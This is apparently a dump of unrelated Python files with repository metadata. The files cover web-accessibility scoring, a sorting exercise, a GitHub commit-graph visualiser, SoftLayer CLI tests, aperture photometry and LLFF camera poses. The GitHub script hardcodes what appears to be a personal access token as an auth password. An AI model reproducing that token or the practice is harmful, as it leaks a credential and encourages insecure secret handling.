for label in form.find_all("label"):
labels.append(label)
for _input in form.find_all("input"):
inputs.append(_input)
if len(labels) == len(inputs):
for i in range(len(labels)):
if "for" in labels[i].attrs.keys() and "id" in inputs[i].attrs.keys():
if labels[i]["for"] != inputs[i]["id"]:
score -= 1
checklist["has_issue_form"] = True
mismatch_labels.append(str(labels[i]))
mismatch_inputs.append(str(inputs[i]))
else:
is_labels_more = len(labels) > len(inputs)
score -= len(labels) if is_labels_more else len(inputs)
checklist["has_issue_form"] = True
for i in range(len(labels)):
mismatch_labels.append(str(labels[i]))
for i in range(len(inputs)):
mismatch_inputs.append(str(inputs[i]))
if not args.score:
if missing_labels:
cprint("These forms are missing the labels for inputs:", c_danger)
None if args.short else print("\n".join(missing_labels))
cprint(
"To associate the label unambiguously with the form input and make it clear how to fill it in, consider adding label tags.",
c_success)
if mismatch_labels and mismatch_inputs:
cprint("These forms' labels' 'for' attributes don't match with inputs' 'id' attribute:", c_danger)
if not args.short:
for i in range(len(mismatch_labels)):
print(" " + mismatch_labels[i])
for i in range(len(mismatch_inputs)):
print(" " + mismatch_inputs[i])
cprint(
"To associate the <label> with an <input> element, you need to give the <input> an 'id' attribute."
"\nThe <label> then needs a 'for' attribute whose value is the same as the input's 'id'.",
c_success)
def check_language():
global score
try:
html = soup.find("html").attrs
except AttributeError:
score -= 10
checklist["has_issue_lang"] = True
None if args.score else cprint(
"Html tag is missing. It is recommended that the inner tags should be wrapped with '<html>'.",
c_danger)
return None
attrs_keys = html.keys()
if "lang" not in attrs_keys:
score -= 10
checklist["has_issue_lang"] = True
None if args.score else cprint(
"Html tag is missing 'lang' attribute. Therefore, the language of the document is unidentified.",
c_danger)
else:
return html["lang"]
def check_title():
global score
global title
if soup.title is None:
title = "Unknown"
score -= 10
checklist["has_issue_title"] = True
None if args.score else cprint(
"It is important in each HTML document to include a <title> that describes the page's purpose.",
c_danger)
else:
title = soup.title.text
website_title = colored(title, c_alert, attrs=['underline', 'bold'])
cprint("Title: " + website_title + "\n", c_secondary)
def show_score():
global score
color = ""
message = "May needs some work!"
if score >= 70:
color = c_success
message = "Looks good!"
elif score >= 50:
color = c_primary
elif score >= 30:
color = c_warning
elif score < 30:
color = c_danger
if score < 0:
score = 0
print()
cprint(message, c_secondary)
cprint(f"Score: {score}", color, "on_grey")
def create_csv_dir():
dir_name = "csv"
try:
# Create target Directory
mkdir(dir_name)
print("Directory", dir_name, "created.")
except FileExistsError:
print("Directory", dir_name, "already exists.")
def write_csv():
first_row = []
heading_list = ["Name", "Score", "Language", "Domain"]
heading_list.extend(checklist.keys())
try:
with open('csv/web-accessibility.csv', 'r', newline='', encoding="utf-8") as file:
reader = csv.reader(file)
first_row = next(reader)
except FileNotFoundError:
print("Creating csv file...")
if args.csv:
# regex for capturing top-level domain
regex = r"\.[^.]{2,3}(?:\.[^.]{2,3})?(?:$|/)"
domain = search(regex, args.url).group()
checklist_values = list(checklist.values())
csv_content = [args.name or title.strip(), score, check_language(), domain]
csv_content.extend(checklist_values)
with open('csv/web-accessibility.csv', 'a+', newline='') as file:
writer = csv.writer(file)
None if first_row == heading_list else writer.writerow(heading_list)
writer.writerow(csv_content)
def collect_err(e):
format_url = f"-url: {args.url}\n"
lines = [format_url, e]
with open('exceptions.txt', 'a+') as file:
file.writelines(lines)
try:
create_csv_dir()
None if not args.name else cprint("Name: " + args.name, c_warning, "on_grey")
check_title()
check_language()
check_heading_tags()
check_page_regions()
check_img_tag()
check_a_tag()
check_table_tag()
check_form_tag()
show_score()
write_csv()
except Exception as err:
exc_type, exc_value, exc_tb = sys.exc_info()
tb = traceback.TracebackException(exc_type, exc_value, exc_tb)
format_err = ''.join(tb.format()) + "\n"
cprint("Error occurred: " + err.__class__.__name__, c_danger)
collect_err(format_err)
| [
"[email protected]"
] | |
9672c79db3265c60383abc9c050be6004f6812eb | 808ddb05e732e8ac3946fe8cd0ee8c32062b009b | /core_python/ch02/exe2_3.py | 8f169e45b520ce9a558d7560a7a918a63ea8cb31 | [] | no_license | csfuyu/core_python | 3bb7ed055ffd010cbb75632e0f317f31eb1545dd | a11febf493e53cdc797d39e365176c9aae166109 | refs/heads/master | 2021-01-01T19:38:44.168516 | 2014-07-27T14:36:18 | 2014-07-27T14:36:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 839 | py | def switch(m_array, index1, index2):
#tmp = m_array[index1]
#m_array[index1] = m_array[index2]
#m_array[index2] = tmp
m_array[index1],m_array[index2] = m_array[index2],m_array[index1]
def sort(m_array):
if m_array[1] < m_array[0]:
switch(m_array,1,0)
if m_array[2] < m_array[1]:
switch(m_array, 2,1)
if m_array[1] < m_array[0]:
switch(m_array,1,0)
return m_array
def reverse(m_array):
size = len(m_array)-1
index = 0
while index < size / 2:
switch(m_array,index,size-index)
index += 1
return m_array
m_array = [1,2,3]
m_array[0] = int(raw_input('Enter the 1st number: '))
m_array[1] = int(raw_input('Enter the 2nd number: '))
m_array[2] = int(raw_input('Enter the 3rd number: '))
print m_array
print sort(m_array)
print reverse(m_array) | [
"[email protected]"
] | |
50930da85e8cd60017cb14f2538bd2153050bc7b | 4017d7c20abae0393513337a68bc06961e1eb683 | /MicroPython koder/kode strings og variabler.py | 741c26dcd0025867c6a8dccc3d2c0981e1257865 | [] | no_license | kres0167/Programmering | cc164d1717ac4ecc8b11a4225063195d7f47cfb5 | 5891b428aad61bd6e3b00a1aabdd715a9299d4ed | refs/heads/main | 2023-08-28T22:59:42.128718 | 2021-10-29T12:06:47 | 2021-10-29T12:06:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 898 | py | biler = 100 #integer
plads_i_en_bil = 4.0 #Float værdi
førere = 30 #integer
passagerer = 90 #integer
biler_ude_af_drift = biler - førere #Int biler trækkes fra int førere
biler_i_kørsel = førere #biler_i_kørsel defineres som førere
samlet_bil_kapacitet = biler_i_kørsel * plads_i_en_bil #ganger biler_i_kørsel og plads_i_en_bil
#som definere som samlet_bil_kapacitet
gennemsnit_af_passagerer_per_bil = passagerer / biler_i_kørsel #passagerer divideres med biler_i_kørsel og definere
#gennemsnit_af_passagerer_per_bil
print("Der er", biler, " biler til rådighed. ")
print("Der er kun", førere, "førere til rådghed. ")
print("Der vil være", biler_ude_af_drift, "tomme biler i dag.")
print("Vi kan transportere", samlet_bil_kapacitet, "personer i dag. ")
print("Vi har", passagerer, "passagerer i dag.")
print("Vi skal cirka putte", gennemsnit_af_passagerer_per_bil, "i hver bil.")
| [
"[email protected]"
] | |
2c7000375d25c329c1a58c1378e24b5b64ebd48a | 6b4a9d576fd1b7ff03c2a9886439f5d8a593d401 | /vis/src/query.py | e8844b2a49bafa6bf6572c7b43e6008942cb4d9c | [] | no_license | bendunnegyms/repo-vis | 1294e02a2aa95182dba0b9a0772a27834df1b7c3 | 0e1513f13bbf544fb1668e6527613d7c4ea446a4 | refs/heads/main | 2023-01-22T17:36:42.709440 | 2020-12-07T21:59:10 | 2020-12-07T21:59:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,539 | py | import requests
import sys
import json
def query(username):
headers = {}
url = 'https://api.github.com/users/' + username+ '/repos'
r = requests.get(url, headers=headers, auth=('bendunnegyms', '2c6b7ed1bd7ab86dc1bf7ae5e3622415f5c252ac'))
print(json.dumps(json.loads(r.text), indent= 4))
return r
def get_repo_by_name(name, r):
repo_data = {}
for entry in r:
if entry.get("name") == name:
repo_data = entry
break
# print(json.dumps(repo_data, indent= 2))
return repo_data
def get_repo_commits(r):
commits_url = r.get("commits_url")
# print(commits_url)
if commits_url.endswith('{/sha}'):
commits_url = commits_url[:-6]
commits_url += "?page="
commits_r_t = []
for x in range(5):
commits_url_t = "{url}{index}".format(url=commits_url,index=x+1)
# print(commits_url_t)
commits_r = requests.get(commits_url_t, headers={}, auth=('bendunnegyms', '2c6b7ed1bd7ab86dc1bf7ae5e3622415f5c252ac'))
# print(json.dumps(json.loads(commits_r.text), indent= 4))
if len(json.loads(commits_r.text)) == 0:
break
commits_r_t.extend(json.loads(commits_r.text))
# print(json.dumps(commits_r_t, indent = 4))
return commits_r_t
def format_date(date):
f = date.split("T")
time = f[1].split("Z")[0]
res = "{date} - {time}".format(date = f[0], time = time)
return res
def dagify_commits(r):
# get latest commit, add as target with parent as source
network_graph = {"nodes": [], "links": []}
sha_data = []
for commit in r:
sha_data.append(commit.get("sha"))
nodes = []
links = []
first = True
for commit in r:
# build node
commit_as_dict = {"id": "", "date": "", "metadata": ""}
c_sha = commit.get("sha")
commit_as_dict["id"] = c_sha
c_data = commit.get("commit")
c_author = c_data.get("author").get("name")
c_date = c_data.get("author").get("date")
c_date = format_date(c_date)
c_message = c_data.get("message")
day = c_date.split(" ")[0]
if first:
day += " - LATEST"
commit_as_dict["date"] = day
metadata = "Message: {message} \nDate: {c_date} \nAuthor: {c_author}".format(message = c_message, c_date = c_date, c_author = c_author)
if first:
metadata += "\nLATEST COMMIT"
first = False
commit_as_dict["metadata"] = metadata
nodes.append(commit_as_dict)
#add links
parents = commit.get("parents")
for parent in parents:
parent_sha = parent.get("sha")
if parent.get("sha") in sha_data:
link = {"source" : parent_sha, "target" : c_sha}
links.append(link)
network_graph["nodes"] = nodes
network_graph["links"] = links
# print(json.dumps(network_graph, indent= 2))
with open("../vis/data/network_graph.json", "w") as fp:
json.dump(network_graph, fp)
def bar_chart_data(r):
bar_chart_graph_t = {}
bar_chart_graph = []
for commit in r:
c_data = commit.get("commit")
author = c_data.get("author").get("name")
if author not in bar_chart_graph_t:
bar_chart_graph_t[author] = {"author":author, "commits": 1}
else:
(bar_chart_graph_t[author])["commits"] += 1
for entry in bar_chart_graph_t:
bar_chart_graph.append(bar_chart_graph_t.get(entry))
# print(bar_chart_graph)
with open("../vis/data/bar_chart_data.json", "w") as fp:
json.dump(bar_chart_graph, fp)
def loads_data(username_repo):
git_user = username_repo.split("/")[0]
git_repo = username_repo.split("/")[1]
# print(git_repo, " ", git_user)
r = json.loads(query(git_user).text)
repo_data = get_repo_by_name(git_repo, r)
repo_commits_data = get_repo_commits(repo_data)
dagify_commits(repo_commits_data)
bar_chart_data(repo_commits_data)
# add more stuff here for bar chart data
def rate_limit_test():
headers = {}
url = 'https://api.github.com/rate_limit'
r = requests.get(url, headers=headers, auth=('bendunnegyms', '2c6b7ed1bd7ab86dc1bf7ae5e3622415f5c252ac'))
print(r.text)
if __name__ == "__main__":
rate_limit_test()
# r = json.loads(query("bendunnegyms").text)
# repo_data = get_repo_by_name("SWENG-2", r)
#print(json.dumps(repo_data, indent= 2))
# dagify_commits(get_repo_commits(repo_data))
| [
"[email protected]"
] | |
dac3a4db860744d28258c92c351b945acd3cabf4 | 7386f422bdfab2393ee0470d31529c99bcd0daef | /tests/CLI/modules/dedicatedhost_tests.py | ab62063c840499c8cce77fee116695430fbf502d | [
"MIT"
] | permissive | ayenter/softlayer-python | cf431de6e0245b1b0419372613488dc67b63457a | a106f2bae1cb97abd31416fce7ede320ad6099d6 | refs/heads/master | 2020-03-17T22:21:34.425087 | 2018-05-18T20:26:28 | 2018-05-18T20:26:28 | 134,000,502 | 0 | 0 | MIT | 2018-05-18T20:26:29 | 2018-05-18T20:21:55 | Python | UTF-8 | Python | false | false | 13,917 | py | """
SoftLayer.tests.CLI.modules.dedicatedhosts_tests
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:license: MIT, see LICENSE for more details.
"""
import json
import mock
import os
import SoftLayer
from SoftLayer.CLI import exceptions
from SoftLayer.fixtures import SoftLayer_Product_Package
from SoftLayer.fixtures import SoftLayer_Virtual_DedicatedHost
from SoftLayer import testing
class DedicatedHostsTests(testing.TestCase):
def set_up(self):
self.dedicated_host = SoftLayer.DedicatedHostManager(self.client)
def test_list_dedicated_hosts(self):
result = self.run_command(['dedicatedhost', 'list'])
self.assert_no_fail(result)
self.assertEqual(json.loads(result.output),
[{
'cpuCount': 56,
'datacenter': 'dal05',
'diskCapacity': 1200,
'guestCount': 1,
'id': 44701,
'memoryCapacity': 242,
'name': 'khnguyendh'
}]
)
def tear_down(self):
if os.path.exists("test.txt"):
os.remove("test.txt")
def test_details(self):
mock = self.set_mock('SoftLayer_Virtual_DedicatedHost', 'getObject')
mock.return_value = SoftLayer_Virtual_DedicatedHost.getObjectById
result = self.run_command(['dedicatedhost', 'detail', '44701', '--price', '--guests'])
self.assert_no_fail(result)
self.assertEqual(json.loads(result.output),
{
'cpu count': 56,
'create date': '2017-11-02T11:40:56-07:00',
'datacenter': 'dal05',
'disk capacity': 1200,
'guest count': 1,
'guests': [{
'domain': 'Softlayer.com',
'hostname': 'khnguyenDHI',
'id': 43546081,
'uuid': '806a56ec-0383-4c2e-e6a9-7dc89c4b29a2'
}],
'id': 44701,
'memory capacity': 242,
'modify date': '2017-11-06T11:38:20-06:00',
'name': 'khnguyendh',
'owner': '232298_khuong',
'price_rate': 1515.556,
'router hostname': 'bcr01a.dal05',
'router id': 51218}
)
def test_details_no_owner(self):
mock = self.set_mock('SoftLayer_Virtual_DedicatedHost', 'getObject')
retVal = SoftLayer_Virtual_DedicatedHost.getObjectById
retVal['billingItem'] = {}
mock.return_value = retVal
result = self.run_command(
['dedicatedhost', 'detail', '44701', '--price', '--guests'])
self.assert_no_fail(result)
self.assertEqual(json.loads(result.output), {'cpu count': 56,
'create date': '2017-11-02T11:40:56-07:00',
'datacenter': 'dal05',
'disk capacity': 1200,
'guest count': 1,
'guests': [{
'domain': 'Softlayer.com',
'hostname': 'khnguyenDHI',
'id': 43546081,
'uuid': '806a56ec-0383-4c2e-e6a9-7dc89c4b29a2'}],
'id': 44701,
'memory capacity': 242,
'modify date': '2017-11-06T11:38:20-06:00',
'name': 'khnguyendh',
'owner': None,
'price_rate': 0,
'router hostname': 'bcr01a.dal05',
'router id': 51218}
)
def test_create_options(self):
mock = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock.return_value = SoftLayer_Product_Package.getAllObjectsDH
result = self.run_command(['dh', 'create-options'])
self.assert_no_fail(result)
self.assertEqual(json.loads(result.output), [[
{
'datacenter': 'Dallas 5',
'value': 'dal05'
}],
[{
'Dedicated Virtual Host Flavor(s)':
'56 Cores X 242 RAM X 1.2 TB',
'value': '56_CORES_X_242_RAM_X_1_4_TB'
}
]]
)
def test_create_options_with_only_datacenter(self):
mock = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock.return_value = SoftLayer_Product_Package.getAllObjectsDH
result = self.run_command(['dh', 'create-options', '-d=dal05'])
self.assertIsInstance(result.exception, exceptions.ArgumentError)
def test_create_options_get_routers(self):
mock = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock.return_value = SoftLayer_Product_Package.getAllObjectsDH
result = self.run_command(['dh',
'create-options',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB'])
self.assert_no_fail(result)
self.assertEqual(json.loads(result.output), [[
{
"Available Backend Routers": "bcr01a.dal05"
},
{
"Available Backend Routers": "bcr02a.dal05"
},
{
"Available Backend Routers": "bcr03a.dal05"
},
{
"Available Backend Routers": "bcr04a.dal05"
}
]]
)
def test_create(self):
SoftLayer.CLI.formatting.confirm = mock.Mock()
SoftLayer.CLI.formatting.confirm.return_value = True
mock_package_obj = self.set_mock('SoftLayer_Product_Package',
'getAllObjects')
mock_package_obj.return_value = SoftLayer_Product_Package.getAllObjectsDH
result = self.run_command(['dedicatedhost', 'create',
'--hostname=host',
'--domain=example.com',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB',
'--billing=hourly'])
self.assert_no_fail(result)
args = ({
'hardware': [{
'domain': 'example.com',
'primaryBackendNetworkComponent': {
'router': {
'id': 51218
}
},
'hostname': 'host'
}],
'prices': [{
'id': 200269
}],
'location': 'DALLAS05',
'packageId': 813,
'complexType':
'SoftLayer_Container_Product_Order_Virtual_DedicatedHost',
'useHourlyPricing': True,
'quantity': 1},
)
self.assert_called_with('SoftLayer_Product_Order', 'placeOrder',
args=args)
def test_create_verify(self):
SoftLayer.CLI.formatting.confirm = mock.Mock()
SoftLayer.CLI.formatting.confirm.return_value = True
mock_package_obj = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock_package_obj.return_value = SoftLayer_Product_Package.getAllObjectsDH
mock_package = self.set_mock('SoftLayer_Product_Order', 'verifyOrder')
mock_package.return_value = SoftLayer_Product_Package.verifyOrderDH
result = self.run_command(['dedicatedhost', 'create',
'--verify',
'--hostname=host',
'--domain=example.com',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB',
'--billing=hourly'])
self.assert_no_fail(result)
args = ({
'useHourlyPricing': True,
'hardware': [{
'hostname': 'host',
'domain': 'example.com',
'primaryBackendNetworkComponent': {
'router': {
'id': 51218
}
}
}],
'packageId': 813, 'prices': [{'id': 200269}],
'location': 'DALLAS05',
'complexType': 'SoftLayer_Container_Product_Order_Virtual_DedicatedHost',
'quantity': 1},)
self.assert_called_with('SoftLayer_Product_Order', 'verifyOrder',
args=args)
result = self.run_command(['dh', 'create',
'--verify',
'--hostname=host',
'--domain=example.com',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB',
'--billing=monthly'])
self.assert_no_fail(result)
args = ({
'useHourlyPricing': True,
'hardware': [{
'hostname': 'host',
'domain': 'example.com',
'primaryBackendNetworkComponent': {
'router': {
'id': 51218
}
}
}],
'packageId': 813, 'prices': [{'id': 200269}],
'location': 'DALLAS05',
'complexType': 'SoftLayer_Container_Product_Order_Virtual_DedicatedHost',
'quantity': 1},)
self.assert_called_with('SoftLayer_Product_Order', 'verifyOrder',
args=args)
def test_create_aborted(self):
SoftLayer.CLI.formatting.confirm = mock.Mock()
SoftLayer.CLI.formatting.confirm.return_value = False
mock_package_obj = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock_package_obj.return_value = SoftLayer_Product_Package.getAllObjectsDH
result = self.run_command(['dh', 'create',
'--hostname=host',
'--domain=example.com',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB',
'--billing=monthly'])
self.assertEqual(result.exit_code, 2)
self.assertIsInstance(result.exception, exceptions.CLIAbort)
def test_create_export(self):
mock_package_obj = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock_package_obj.return_value = SoftLayer_Product_Package.getAllObjectsDH
mock_package = self.set_mock('SoftLayer_Product_Order', 'verifyOrder')
mock_package.return_value = SoftLayer_Product_Package.verifyOrderDH
self.run_command(['dedicatedhost', 'create',
'--verify',
'--hostname=host',
'--domain=example.com',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB',
'--billing=hourly',
'--export=test.txt'])
self.assertEqual(os.path.exists("test.txt"), True)
def test_create_verify_no_price_or_more_than_one(self):
mock_package_obj = self.set_mock('SoftLayer_Product_Package', 'getAllObjects')
mock_package_obj.return_value = SoftLayer_Product_Package.getAllObjectsDH
mock_package = self.set_mock('SoftLayer_Product_Order', 'verifyOrder')
ret_val = SoftLayer_Product_Package.verifyOrderDH
ret_val['prices'] = []
mock_package.return_value = ret_val
result = self.run_command(['dedicatedhost', 'create',
'--verify',
'--hostname=host',
'--domain=example.com',
'--datacenter=dal05',
'--flavor=56_CORES_X_242_RAM_X_1_4_TB',
'--billing=hourly'])
self.assertIsInstance(result.exception, exceptions.ArgumentError)
args = ({
'hardware': [{
'domain': 'example.com',
'primaryBackendNetworkComponent': {
'router': {
'id': 51218
}
},
'hostname': 'host'
}],
'prices': [{
'id': 200269
}],
'location': 'DALLAS05',
'packageId': 813,
'complexType': 'SoftLayer_Container_Product_Order_Virtual_DedicatedHost',
'useHourlyPricing': True,
'quantity': 1},)
self.assert_called_with('SoftLayer_Product_Order', 'verifyOrder', args=args)
| [
"[email protected]"
] | |
4ee1fbe05772a551659a4a24c9cfad37e0bab31b | ea69a8e93e0201cf05b25be6cc4f819565942fec | /pdrLib/fluxes/phot.py | 6bdb104bd3e9e86ac0284df10a5a79d6342b2b81 | [] | no_license | astroPDR/PMAP | 83f6ba74f0af381fa32726d1fba8b604134f2788 | 07eac2b3d60369a4ef34f748fbce075d6bca98bd | refs/heads/master | 2020-05-17T10:44:02.261958 | 2013-09-29T03:51:02 | 2013-09-29T03:51:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,247 | py | #!/usr/bin/env python
# encoding: utf-8
"""
phot.py
Created by José Sánchez-Gallego on 3 May 2013.
Copyright (c) 2013. All rights reserved.
"""
import numpy as np
import astropy.io.ascii as at
def rebin(aa, shape):
"""
Resizes an array to a certain shape
"""
sh = shape[0], aa.shape[0] // shape[0], shape[1], aa.shape[1] // shape[1]
return aa.reshape(sh).mean(-1).mean(1)
def calcMask(data, xCentre, yCentre, r1, r2=None, refine=False, nRefine=10):
"""
Returns a mask with the pixels included in the aperture. If r2 is defined,
the apertures is annular. If refine, the data is re-meshed by a factor
nRefine.
"""
if r2 is None:
rMax = int(r1)
else:
rMax = int(np.max([r1, r2]))
# Grid of coordinates
if refine is True:
step = 1. / nRefine
else:
step = 1.
# Calculates the coordinate grid
ii = yCentre + np.arange(-rMax-2, rMax+2, step)
jj = xCentre + np.arange(-rMax-2, rMax+2, step)
coords = np.dstack(np.meshgrid(ii, jj)).reshape(-1, 2)
# Calculates distances
distances = (coords[:, 0]-yCentre)**2 + (coords[:, 1]-xCentre)**2
distances = distances.reshape(ii.size, jj.size)
mask = np.zeros(distances.shape)
# Determines pixels within aperture and set them to 1.
if r2 is None:
mask[distances <= (r1**2)] = 1
else:
mask[(distances >= (r1**2)) & (distances <= (r2**2))] = 1
# From the data, selects the area matching the mask
dataChunk = data[np.round(yCentre-1)-rMax-2:np.round(yCentre-1)+rMax+2,
np.round(xCentre-1)-rMax-2:np.round(xCentre-1)+rMax+2]
# Rebins the mask to its original size
mask = rebin(mask, dataChunk.shape)
# Pixels outside aperture are set to nan
mask[mask == 0] = np.nan
del distances, coords, ii, jj
return dataChunk, mask
def getRejPixels(origData, nSigma=3., nMaxIter=50):
"""
Rejects pixels outside a certain range of sigma
"""
data = np.array(origData, copy=True)
nSrejTotal = 0
nIter = 0
while nIter < nMaxIter:
stdDev = np.std(data)
mean = np.mean(data)
oldSize = data.size
data = data[(data <= mean + nSigma * stdDev) &
(data >= mean - nSigma * stdDev)]
nSrej = oldSize - data.size
nSrejTotal += nSrej
if nSrej == 0:
break
else:
nIter += 1
return data, nSrejTotal
def calcCentroid(data, width=3., binSize=0.1):
"""
Calculates the intensity averaged centroid of a set of data
"""
mean = np.mean(data)
stdDev = np.std(data)
if stdDev == 0.:
return mean, 0.0
width *= stdDev
binSize *= stdDev
bins = np.arange(mean-width, mean+width+binSize, binSize)
hist = np.histogram(data, bins=bins, range=(mean-width, mean+width))
midPoints = np.array([np.mean([hist[1][ii], hist[1][ii+1]]) for ii in range(0, hist[1].size-1)])
return np.sum(hist[0] * midPoints) / np.sum(hist[0]), stdDev
def calcSky(data, xCentre, yCentre, annulus, dannulus, refine=False, nRefine=10):
"""
Calculates the sky value around a certain position given an annulus (radii)
and dannulus (width of the annulus).
"""
dataReg, mask = calcMask(data, xCentre, yCentre, annulus,
r2=annulus+dannulus, refine=False)
dataAnn = dataReg * mask
dataAnn = dataAnn[np.isfinite(dataAnn)]
validData, nSrej = getRejPixels(dataAnn)
nSky = validData.size
mSky, stdDev = calcCentroid(validData)
del dataReg, dataAnn, validData
# Returns value of sky (per pixel), standard deviation, number of pixels
# used for the sky estimation and number of pixels rejected
return mSky, stdDev, nSky, nSrej
def phot(data, centres, apertures, annulus=None, dannulus=None, logFile=None,
ext=0, refine=False, nRefine=10):
"""
Calculates the aperture photometry with sky subtraction around centres for
a number of apertures.
Output:
returnFluxes = [[centreID, xCentre, yCentre, aperture, sum, area, flux], ...]
returnSky = [[mSky, stdDev, nSky, nSrej], ... (for each centre)]
"""
# If data is a string, read the file, otherwise, data is supposed to be
# a numpy ndarray
if isinstance(data, str):
import astropy.io.fits as pf
data = pf.getdata(data, ext)
if not isinstance(data, np.ndarray):
raise TypeError('The required argument \'data\' is not a numpy.ndarray.')
centres = np.array(centres)
apertures = np.array(apertures)
nCentres = centres.shape[0]
nApertures = apertures.size
returnFluxes = np.zeros((nApertures * nCentres, 7), dtype=np.float)
returnSky = np.zeros((nCentres, 4), dtype=np.float)
# If logFile, opens a unit for output
if logFile is not None:
unitOut = open(logFile, 'w')
for nn in range(centres.shape[0]):
xCentre = centres[nn, 0]
yCentre = centres[nn, 1]
# If annulus and dannulus are defined, calculates the
# sky background
if annulus is not None and dannulus is not None:
try:
annulus = float(annulus)
dannulus = float(dannulus)
except:
raise ValueError('Annulus and/or dannulus are not numeric.')
mSky, stdDev, nSky, nSrej = calcSky(data, xCentre, yCentre, annulus, dannulus,
refine=refine, nRefine=nRefine)
else:
mSky = stdDev = nSky = nSrej = np.nan
sums = np.zeros(nApertures)
fluxes = np.zeros(nApertures)
areas = np.zeros(nApertures)
for ii in range(nApertures):
dataReg, mask = calcMask(data, xCentre, yCentre, apertures[ii], refine=refine, nRefine=nRefine)
dataAp = dataReg * mask
dataAp = dataAp[np.isfinite(dataAp)]
sums[ii] = np.sum(dataAp)
if refine is None:
areas[ii] = dataAp.size
else:
areas[ii] = np.pi * apertures[ii]**2
if mSky is not np.nan:
fluxes[ii] = sums[ii] - areas[ii] * mSky
else:
fluxes[ii] = sums[ii]
returnFluxes[nn*nApertures:(nn+1)*nApertures, :] = np.array([[nn+1]*nApertures,
[xCentre]*nApertures,
[yCentre]*nApertures,
apertures, sums,
areas, fluxes]).T
returnSky[nn, :] = (mSky, stdDev, nSky, nSrej)
del dataReg, dataAp
# Outputs the data
if logFile is not None:
print >>unitOut, '# %12s %12s' % ('XCENTRE', 'YCENTRE')
print >>unitOut, '# %12.3E %12.3E' % (xCentre, yCentre)
if annulus is not None and dannulus is not None:
print >>unitOut, '# %12s %12s %12s %12s' % ('MSKY', 'STDEV', 'NSKY', 'NSREJ')
print >>unitOut, '# %12.3E %12.3E %12.3E %12.3E' % (mSky, stdDev, nSky, nSrej)
else:
print >>unitOut, '# %12s %12s %12s %12s' % ('MSKY', 'STDEV', 'NSKY', 'NSREJ')
print >>unitOut, '# %12s %12s %12s %12s' % ('N/A', 'N/A', 'N/A', 'N/A')
writer = at.FixedWidth if nn == 0 else at.FixedWidthNoHeader
at.write([nApertures*[xCentre], nApertures*[yCentre],
apertures, sums, areas, fluxes], unitOut,
Writer=writer, names=['XCENTRE', 'YCENTRE', 'AP', 'SUM', 'AREA', 'FLUX'])
print >>unitOut
del data
return returnFluxes, returnSky
def photTest():
"""
Testing routine
"""
print
image = './TestImages/StdImage.fits'
centres = np.loadtxt('./TestImages/coordsStd.coo')
# centres = np.array([[501, 501]])
apertures = np.arange(1, 16)
phot(image, centres, apertures,
annulus=15, dannulus=2, refine=True, nRefine=10,
logFile='test.log')
print
return
# if __name__ == '__main__':
# photTest()
| [
"[email protected]"
] | |
8367b705410d891c2f66f2b222652f47eff4933e | f1614977384d0b8b097712dbb40d166bd7f93439 | /llff/poses/pose_utils.py | 78696b357df4c5f9f20a44ff16d44c7a5bcc5176 | [
"BSD-3-Clause"
] | permissive | chenycallen/LLFF | 3e1026971ab33fad5e5143c443ef24fb32a70135 | 93e9f95f47ac4e23eef932f8c3f46362d4a7781d | refs/heads/master | 2020-05-19T11:14:29.794788 | 2019-05-04T02:14:29 | 2019-05-04T02:14:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,238 | py | import numpy as np
import os
import sys
import imageio
import skimage.transform
from llff.poses.colmap_wrapper import run_colmap
import llff.poses.colmap_read_model as read_model
def load_colmap_data(realdir):
camerasfile = os.path.join(realdir, 'sparse/0/cameras.bin')
camdata = read_model.read_cameras_binary(camerasfile)
# cam = camdata[camdata.keys()[0]]
list_of_keys = list(camdata.keys())
cam = camdata[list_of_keys[0]]
print( 'Cameras', len(cam))
h, w, f = cam.height, cam.width, cam.params[0]
# w, h, f = factor * w, factor * h, factor * f
hwf = np.array([h,w,f]).reshape([3,1])
imagesfile = os.path.join(realdir, 'sparse/0/images.bin')
imdata = read_model.read_images_binary(imagesfile)
w2c_mats = []
bottom = np.array([0,0,0,1.]).reshape([1,4])
names = [imdata[k].name for k in imdata]
print( 'Images #', len(names))
perm = np.argsort(names)
for k in imdata:
im = imdata[k]
R = im.qvec2rotmat()
t = im.tvec.reshape([3,1])
m = np.concatenate([np.concatenate([R, t], 1), bottom], 0)
w2c_mats.append(m)
w2c_mats = np.stack(w2c_mats, 0)
c2w_mats = np.linalg.inv(w2c_mats)
poses = c2w_mats[:, :3, :4].transpose([1,2,0])
poses = np.concatenate([poses, np.tile(hwf[..., np.newaxis], [1,1,poses.shape[-1]])], 1)
points3dfile = os.path.join(realdir, 'sparse/0/points3D.bin')
pts3d = read_model.read_points3d_binary(points3dfile)
# must switch to [-u, r, -t] from [r, -u, t], NOT [r, u, -t]
poses = np.concatenate([poses[:, 1:2, :], poses[:, 0:1, :], -poses[:, 2:3, :], poses[:, 3:4, :], poses[:, 4:5, :]], 1)
return poses, pts3d, perm
def save_poses(basedir, poses, pts3d, perm):
pts_arr = []
vis_arr = []
for k in pts3d:
pts_arr.append(pts3d[k].xyz)
cams = [0] * poses.shape[-1]
for ind in pts3d[k].image_ids:
cams[ind-1] = 1
vis_arr.append(cams)
pts_arr = np.array(pts_arr)
vis_arr = np.array(vis_arr)
print( 'Points', pts_arr.shape, 'Visibility', vis_arr.shape )
zvals = np.sum(-(pts_arr[:, np.newaxis, :].transpose([2,0,1]) - poses[:3, 3:4, :]) * poses[:3, 2:3, :], 0)
valid_z = zvals[vis_arr==1]
